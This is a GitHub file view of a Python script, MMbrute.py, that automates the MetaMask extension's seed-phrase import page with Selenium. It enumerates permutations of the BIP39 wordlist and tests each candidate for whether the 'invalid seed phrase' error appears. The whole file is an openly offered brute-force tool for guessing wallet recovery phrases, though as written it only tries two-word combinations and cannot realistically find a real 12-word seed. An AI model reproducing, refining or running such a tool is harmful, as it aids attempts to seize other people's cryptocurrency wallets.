-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathMMbrute.py
More file actions
68 lines (50 loc) · 2.36 KB
/
MMbrute.py
File metadata and controls
68 lines (50 loc) · 2.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import itertools
BASE_URL = 'chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html#initialize/create-password/import-with-seed-phrase'
PASSWORD = 'myPassword!'
with open('english.txt') as f:
WORDLIST = f.read().splitlines()
def login():
## HEADLESS MODE SELECTION
headless_mode = False
if headless_mode:
options = webdriver.ChromeOptions()
options.add_argument('headless')
# DISABLE CHROME NOTIFICATIONS
prefs = {"profile.default_content_setting_values.notifications" : 2}
options.add_experimental_option("prefs",prefs)
try:
#driver = webdriver.Chrome("/usr/lib/chromium-browser/chromedriver_86.bck", chrome_options=options)
driver = webdriver.Chrome("/usr/lib/chromium-browser/chromedriver", chrome_options=options)
except:
driver = webdriver.Chrome("/usr/lib/chromium-browser/chromedriver_88.bck")
#driver = webdriver.Chrome("/usr/lib/chromium-browser/chromedriver")
else:
try:
# DISABLE CHROME NOTIFICATIONS
options = webdriver.ChromeOptions()
prefs = {"profile.default_content_setting_values.notifications" : 2}
options.add_experimental_option("prefs",prefs)
options.add_extension("nkbihfbeogaeaoehlefnkodbefgpgknn.crx")
driver = webdriver.Chrome("/usr/lib/chromium-browser/chromedriver_88.bck", chrome_options=options)
except:
driver = webdriver.Chrome("chromedriver")
driver.get(BASE_URL)
## ALL COMBINATIONS (to much for one pc)
#print(len(list(itertools.permutations(WORDLIST,12))))
#for x in list(itertools.permutations(WORDLIST,12)):
for x in list(itertools.permutations(WORDLIST,2)):
seed = ''
for word in x:
seed+=word+' '
print(seed)
driver.find_element_by_xpath('//*[@id="app-content"]/div/div[3]/div/div/form/div[4]/div[1]/div/input').send_keys(seed)
driver.find_element_by_xpath('//*[@id="password"]').send_keys(PASSWORD)
driver.find_element_by_xpath('//*[@id="confirm-password"]').send_keys(PASSWORD)
source_code = driver.page_source
if 'invalid seed phrase.' not in source_code:
print(seed)
return driver
login()